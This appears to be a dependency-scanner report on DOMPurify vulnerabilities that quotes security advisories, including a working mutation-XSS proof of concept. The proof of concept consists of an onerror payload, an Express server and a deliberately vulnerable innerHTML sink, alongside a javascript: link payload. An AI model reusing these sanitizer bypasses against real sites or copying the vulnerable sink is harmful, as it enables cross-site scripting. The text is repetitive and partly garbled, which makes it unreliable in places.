Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state ('xmp' raw-text behavior). - Attacker-controlled sequence ('<xmp>') gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by 'innerHTML'. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs ('textContent', 'createElement', 'setAttribute') over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics ('xmp', 'script', etc.). 5. Add regression tests for context-switch/mXSS payloads (including '<xmp>', '</noscript>', similar parser-breakout markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera] (https://github.com/caverav/) and [Cristian Vargas] (https://github.com/tachote). (RETIREJS) suppress`

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using 'innerHTML' and special wrappers. The vulnerable wrappers confirmed in browser behavior are 'script', 'xmp', 'iframe', 'noembed', 'noframes', and 'noscript'. The payload remains seemingly benign after 'DOMPurify.sanitize()', but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client ('alert(1)' in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `<xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...'>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app:

```
```bash
npm install
npm start
```
```

2. Open `http://localhost:3001`.

3. Set 'Wrapper en sink' to 'xmp'.

4. Use payload:

```
...html
<img src=x alt="</xmp><img src=x onerror=alert('expoc')">
...`
```

5. Click 'Sanitize + Render'.

6. Observe:

- 'Sanitized response' still contains the '</xmp>' sequence inside 'alt'.

- The sink reparses to include ``.

- `alert('expoc')` is triggered.

7. Files:

- index.html

```

<html>
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>expoc - DOMPurify SSR PoC</title>
</style>
<style>
  :root {
    --bg: #f7f8fb;
    --panel: #ffffff;
    --line: #d8dce6;
    --text: #0f172a;
    --muted: #475569;
    --accent: #0ea5e9;
  }

  * {
    box-sizing: border-box;
  }

  body {
    margin: 0;
    font-family: "SF Mono", Menlo, Consolas, monospace;
    color: var(--text);
    background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
  }

  main {
    max-width: 980px;
    margin: 28px auto;
    padding: 0 16px 20px;
  }

  h1 {
    margin: 0 0 10px;
    font-size: 1.45rem;
  }

  p {
    margin: 0;
    color: var(--muted);
  }

  .grid {
    display: grid;
    gap: 14px;
    margin-top: 16px;
  }

  .card {
    background: var(--panel);
    border: 1px solid var(--line);
    border-radius: 12px;
    padding: 14px;
  }

  label {
    display: block;
    margin-bottom: 7px;
    font-size: 0.85rem;
    color: var(--muted);
  }

  textarea,
  input,
  select,
  button {
    width: 100%;
    border: 1px solid var(--line);
    border-radius: 8px;

```

```
padding: 9px 10px;
font: inherit;
background: #fff;
}

textarea {
  min-height: 110px;
  resize: vertical;
}

.row {
  display: grid;
  grid-template-columns: 1fr 230px;
  gap: 12px;
}

button {
  cursor: pointer;
  background: var(--accent);
  color: #fff;
  border-color: #0284c7;
}

#sink {
  min-height: 90px;
  border: 1px dashed #94a3b8;
  border-radius: 8px;
  padding: 10px;
  background: #f8fafc;
}

pre {
  margin: 0;
  white-space: pre-wrap;
  word-break: break-word;
}

.note {
  margin-top: 8px;
  font-size: 0.85rem;
}

.status-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 8px;
  margin-top: 10px;
}

.status-item {
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 8px 10px;
  font-size: 0.85rem;
  background: #fff;
}

.status-item.vuln {
  border-color: #ef4444;
  background: #fef2f2;
}

.status-item.safe {
  border-color: #22c55e;
  background: #f0fdf4;
}

@media (max-width: 760px) {
  .row {
    grid-template-columns: 1fr;
  }
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
  Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>

<div class="grid">
<section class="card">
  <label for="payload">Payload</label>
  <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')"></textarea>
  <div class="row" style="margin-top: 10px;">
    <div>
      <label for="wrapper">Wrapper en sink</label>
      <select id="wrapper">
        <option value="div">div</option>
        <option value="textarea">textarea</option>
        <option value="title">title</option>
        <option value="style">style</option>
        <option value="script" selected>script</option>
        <option value="xmp">xmp</option>
        <option value="iframe">iframe</option>
        <option value="noembed">noembed</option>
        <option value="noframes">noframes</option>
        <option value="noscript">noscript</option>
      </select>
    </div>
    <div style="display:flex;align-items:end;">
      <button id="run" type="button">Sanitize + Render</button>
    </div>
  </div>
</div>
</div>
```

```

</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;';</code>.</p>
<div class="status-grid">
  <div class="status-item vuln">script (vulnerable)</div>
  <div class="status-item vuln">xmp (vulnerable)</div>
  <div class="status-item vuln">iframe (vulnerable)</div>
  <div class="status-item vuln">noembed (vulnerable)</div>
  <div class="status-item vuln">noframes (vulnerable)</div>
  <div class="status-item vuln">noscript (vulnerable)</div>
  <div class="status-item safe">div (no vulnerable)</div>
  <div class="status-item safe">textarea (no vulnerable)</div>
  <div class="status-item safe">title (no vulnerable)</div>
  <div class="status-item safe">style (no vulnerable)</div>
</div>
</section>

<section class="card">
  <label>Sanitized response</label>
  <pre id="sanitized">(empty)</pre>
</section>

<section class="card">
  <label>Sink</label>
  <div id="sink"></div>
</section>
</div>
</main>

<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');

run.addEventListener('click', async () => {
  const response = await fetch('/sanitize', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ input: payload.value })
  });

  const data = await response.json();
  const sanitized = data.sanitized || "";
  const w = wrapper.value;

  sanitizedNode.textContent = sanitized;
  sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>';
});
</script>
</body>
</html>
...

- server.js

```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
 res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
 const input = typeof req.body?.input === 'string' ? req.body.input : "";
 const sanitized = DOMPurify.sanitize(input);
 res.json({ sanitized });
});

app.listen(port, () => {
 console.log('expoc running at http://localhost:${port}');
});
...

- package.json

```json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",

```

```
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}...
```

Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DOMPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft>

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Unscored:

- Severity: medium

References:

- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Summary DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `[## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. **## Credits** Identified by Cantina's Apex \(<https://www.cantina.security/>\). \(RETIREJS\) ^{suppress}](javascript:alert(document.domain))

Summary

DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina's Apex (<https://www.cantina.security/>).

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Summary In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation. The condition: ``!(tagCheck(tagName)) && (!ALLOWED\_TAGS[tagName] || FORBID\_TAGS[tagName])`` When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first: ``if (FORBID\_ATTR[lcName]) { continue; }`` For tags, `FORBID` should also take precedence over `ADD`. **## Impact** Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check `FORBID\_TAGS` before `tagCheck`: ``if (FORBID\_TAGS[tagName]) { /\* remove \*/ } else if (tagCheck(tagName) || ALLOWED\_TAGS[tagName]) { /\* keep \*/ }`` **## Affected Version** v3.3.3 (commit 883ac15). (RETIREJS) ^{suppress}

Summary

In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation.

The condition:

```
...
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
...
```

When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first:

```
...
if (FORBID_ATTR[lcName]) { continue; }
...
```

For tags, `FORBID` should also take precedence over `ADD`.

Impact
Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix
Check `FORBID\_TAGS` before `tagCheck`:
...
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
...

Affected Version
v3.3.3 (commit 883ac15)

Unscored:
• Severity: medium

References:
• githubID - GHSA-39q2-94rc-95cp
• info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Summary When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE\_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. ## Impact Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. ## Credits Identified by Cantina's Apex (<https://www.cantina.security>). (RETIREJS) suppress

Summary
When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE\_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact
Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits
Identified by Cantina's Apex (<https://www.cantina.security>).

Unscored:
• Severity: medium

References:
• githubID - GHSA-cj63-jhhr-wcxv
• info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
• info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

CVE-2026-41238 (RETIREJS) suppress

Unscored:
• Severity: medium

References:
• info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
• info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

CVE-2026-41239 (RETIREJS) suppress

Unscored:
• Severity: medium

References:
• info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
• info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

swagger-ui-5.18.2.jar: swagger-ui-es-bundle.js

File Path: C:\Users\Lucas Donizeti\.m2\repository\org\webjars\swagger-ui\5.18.2\swagger-ui-5.18.2.jar\META-INF\resources\webjars\swagger-ui\5.18.2\swagger-ui-es-bundle.js
MD5: c9ca2610688e579a9687f1a5c8359f44
SHA1: f370c53a45936e180b467cb56768b7150406e3f2
SHA256: 89c69912ca57a4bf361f137340166a2703d59640d254671a42e0ca49dbf5e398
Referenced In Project/Scope: oficina:compile

Evidence

Identifiers

- pkg:javascript/DOMPurify@3.1.6 (Confidence: Highest)

Published Vulnerabilities

CVE-2025-26791 suppress

DOMPurify before 3.2.4 has an incorrect template literal regular expression, sometimes leading to mutation cross-site scripting (mXSS).

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [PATCH](#)
- cve@mitre.org - [RELEASE_NOTES](#)
- info - <https://ensy.zip/posts/dompurify-323-bypass>
- info - <https://github.com/advisories/GHSA-vhxf-7vqr-mrjg>
- info - <https://github.com/cure53/DOMPurify>
- info - <https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02>
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.2.4>
- info - <https://nysyean.github.io/posts/dompurify-323-bypass>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-26791>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.2.4

CVE-2026-41240 suppress

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-183 Permissive List of Allowed Inputs

CVSSv4:

- Base Score: MEDIUM (6.0)
- Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT_MITIGATION_PATCH_VENDOR_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT_MITIGATION_PATCH_VENDOR_ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT_RELEASE_NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.4.0

CVE-2026-0540 suppress

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:

- Base Score: MEDIUM (5.3)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)
- help@fluidattacks.com - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (including) 3.3.1

CVE-2025-15599 suppress

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:

- Base Score: MEDIUM (5.1)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:AVC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA

...

2. Open `'http://localhost:3001'`.
3. Set `'Wrapper en sink'` to `'xmp'`.
4. Use payload:

```
'''html
<img src=x alt="</xmp><img src=x onerror=alert('expoc')">'''
```

5. Click `Sanitize + Render`.

6. Observe:

- 'Sanitized response' still contains the '</xmp>' sequence inside 'alt'.

- The sink reparses to include ``.

- `alert('expoc')` is triggered.

7. Files:

- index.html

```

`html
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>expoc - DOMPurify SSR PoC</title>
  <style>
    :root {
      --bg: #f7f8fb;
      --panel: #ffffff;
      --line: #d8dce6;
      --text: #0f172a;
      --muted: #475569;
      --accent: #0ea5e9;
    }

    * {
      box-sizing: border-box;
    }

    body {
      margin: 0;
      font-family: "SF Mono", Menlo, Consolas, monospace;
      color: var(--text);
      background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
    }

    main {
      max-width: 980px;
      margin: 28px auto;
      padding: 0 16px 20px;
    }

    h1 {
      margin: 0 0 10px;
      font-size: 1.45rem;
    }

    p {
      margin: 0;
      color: var(--muted);
    }

    .grid {
      display: grid;
      gap: 14px;
      margin-top: 16px;
    }

    .card {
      background: var(--panel);
      border: 1px solid var(--line);
      border-radius: 12px;
      padding: 14px;
    }

    label {
      display: block;
      margin-bottom: 7px;
      font-size: 0.85rem;
      color: var(--muted);
    }

    textarea,
    input,
    select,
    button {
      width: 100%;
      border: 1px solid var(--line);
      border-radius: 8px;
      padding: 9px 10px;
      font: inherit;
      background: #fff;
    }

    textarea {
      min-height: 110px;
      resize: vertical;
    }

    .row {
      display: grid;
      grid-template-columns: 1fr 230px;
      gap: 12px;
    }

```

```
button {
  cursor: pointer;
  background: var(--accent);
  color: #fff;
  border-color: #0284c7;
}

#sink {
  min-height: 90px;
  border: 1px dashed #94a3b8;
  border-radius: 8px;
  padding: 10px;
  background: #f8fafc;
}

pre {
  margin: 0;
  white-space: pre-wrap;
  word-break: break-word;
}

.note {
  margin-top: 8px;
  font-size: 0.85rem;
}

.status-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 8px;
  margin-top: 10px;
}

.status-item {
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 8px 10px;
  font-size: 0.85rem;
  background: #fff;
}

.status-item.vuln {
  border-color: #ef4444;
  background: #fef2f2;
}

.status-item.safe {
  border-color: #22c55e;
  background: #f0fdf4;
}

@media (max-width: 760px) {
  .row {
    grid-template-columns: 1fr;
  }
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
  Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>

<div class="grid">
<section class="card">
  <label for="payload">Payload</label>
  <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
  <div class="row" style="margin-top: 10px;">
    <div>
      <label for="wrapper">Wrapper en sink</label>
      <select id="wrapper">
        <option value="div">div</option>
        <option value="textarea">textarea</option>
        <option value="title">title</option>
        <option value="style">style</option>
        <option value="script" selected>script</option>
        <option value="xmp">xmp</option>
        <option value="iframe">iframe</option>
        <option value="noembed">noembed</option>
        <option value="noframes">noframes</option>
        <option value="noscript">noscript</option>
      </select>
    </div>
    <div style="display:flex;align-items:end;">
      <button id="run" type="button">Sanitize + Render</button>
    </div>
  </div>
  <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;';</code></p>
<div class="status-grid">
  <div class="status-item vuln">script (vulnerable)</div>
  <div class="status-item vuln">xmp (vulnerable)</div>
  <div class="status-item vuln">iframe (vulnerable)</div>
  <div class="status-item vuln">noembed (vulnerable)</div>
  <div class="status-item vuln">noframes (vulnerable)</div>
  <div class="status-item vuln">noscript (vulnerable)</div>
  <div class="status-item safe">div (no vulnerable)</div>
  <div class="status-item safe">textarea (no vulnerable)</div>
  <div class="status-item safe">title (no vulnerable)</div>
  <div class="status-item safe">style (no vulnerable)</div>
</div>
</section>
```

```

<section class="card">
  <label>Sanitized response</label>
  <pre id="sanitized">(empty)</pre>
</section>

<section class="card">
  <label>Sink</label>
  <div id="sink"></div>
</section>
</div>
</main>

<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');

run.addEventListener('click', async () => {
  const response = await fetch('/sanitize', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ input: payload.value })
  });

  const data = await response.json();
  const sanitized = data.sanitized || "";
  const w = wrapper.value;

  sanitizedNode.textContent = sanitized;
  sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>';
});
</script>
</body>
</html>
...

```

- server.js

```

...js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : "";
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log('expoc running at http://localhost:${port}');
});
...

```

- package.json

```

...json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
...

```

Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daf

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Unscored:

- Severity: medium

References:

